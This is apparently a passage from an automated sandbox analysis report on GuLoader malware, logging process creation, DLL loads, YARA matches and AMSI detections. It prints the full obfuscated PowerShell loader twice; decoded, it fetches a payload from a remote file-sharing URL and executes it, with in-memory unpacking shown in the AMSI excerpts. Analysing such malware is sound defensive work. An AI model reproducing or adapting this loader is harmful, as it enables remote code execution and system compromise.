'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: msiexec.pdb source: msiexec.exe, 00000008.00000003.2228829643.0000000004369000.00000004.00000020.00020000.00000000.sdmp, 31437F.exe.8.dr
Source:	Binary string: msiexec.pdbGCTL source: msiexec.exe, 00000008.00000003.2228829643.0000000004369000.00000004.00000020.00020000.00000000.sdmp, 31437F.exe.8.dr
Source:	Binary string: nt.Automation.pdb source: powershell.exe, 00000004.00000002.2714751507.0000000006F2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000001.00000002.1906613189.00000211ABE90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bpdbtem.pdb source: powershell.exe, 00000001.00000002.1903510778.00000211ABC2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdb source: powershell.exe, 00000004.00000002.2720499502.0000000008100000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000004.00000002.2714751507.0000000006FEC000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("POWERSHELL "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammonia", "0")

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 8076, type: MEMORYSTR
Source: Yara match	File source: 00000004.00000002.2721776675.0000000008B75000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2721566180.0000000008430000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2710566286.000000000565A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1895124133.00000211A38F4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Podarge)$global:Tonelejets = [System.Text.Encoding]::ASCII.GetString($Supercargos)$global:Pfg=$Tonelejets.substring($Getlingndsunknes198,$Negrita)<#Squonk Tightens Jigsawed Coction U
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Pubberne $Cheerioptererens $Siri), (Paaskyndte @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Asperation = [AppDomain]::CurrentDomain.GetAssemblies()$glob
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($superastonishment)), $Trompetister).DefineDynamicModule($Tubicolous, $false).DefineType($Electroendosmose, $Diastereoisomerism, [Syste
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Podarge)$global:Tonelejets = [System.Text.Encoding]::ASCII.GetString($Supercargos)$global:Pfg=$Tonelejets.substring($Getlingndsunknes198,$Negrita)<#Squonk Tightens Jigsawed Coction U

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsneh
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile 